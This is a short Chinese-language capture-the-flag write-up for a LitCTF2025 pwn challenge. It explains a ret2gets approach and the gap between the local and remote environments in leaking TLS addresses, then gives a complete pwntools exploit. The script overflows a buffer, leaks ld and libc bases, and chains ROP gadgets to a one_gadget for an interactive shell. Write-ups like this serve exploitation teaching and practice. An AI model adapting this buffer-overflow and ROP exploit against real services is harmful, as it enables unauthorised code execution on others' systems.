题目
题目链接
攻击思路
没啥好说,就是 ret2gets
但是本地和远程的系统环境不同,导致 leak tls 后情况不一致
远程挺简单的, libc 与 tls 的偏移固定
但我的本地环境 leak 出的是与 ld 相关的地址,这就需要利用 ld 中的 gadget 再去 leak libc
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h']
debug = 0
if debug: io = process('./pwn_patched') else: io = remote('node4.anna.nssctf.cn', 21460)
rw_addr = 0x404400 gets_plt = 0x401080 puts_plt = 0x401060 again_addr = 0x4011B1
def attack(): payload = b'A' * 32 + p64(rw_addr) + p64(gets_plt) + p64(gets_plt) + p64(puts_plt) + p64(again_addr) io.sendlineafter(b'LitCTF2025!\n', payload) io.sendline(b'A' * 8 + b'\x00' * 6) io.sendline(b'A' * 4) io.recv(8) anon_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x740 log.info(f'anon_base = {hex(anon_base)}') ld_base = anon_base + 0xc000 log.info(f'ld_base = {hex(ld_base)}') pop_rdi_pop_rbp_ret = ld_base + 0x23dcc payload = b'A' * 32 + p64(rw_addr) + p64(pop_rdi_pop_rbp_ret) + p64(anon_base + 0x6c0) + p64(rw_addr) + p64(puts_plt) + p64(again_addr) io.sendlineafter(b'LitCTF2025!\n', payload) libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x20b680 log.info(f'libc_base = {hex(libc_base)}') pop_rbx_ret = libc_base + 0x586e4 pop_r12_ret = libc_base + 0x110951 onegadget = libc_base + 0xef4ce payload = b'A' * 32 + p64(rw_addr) + p64(pop_rbx_ret) + p64(0) + p64(pop_r12_ret) + p64(0) + p64(onegadget) io.sendlineafter(b'LitCTF2025!\n', payload) io.interactive()
attack()
|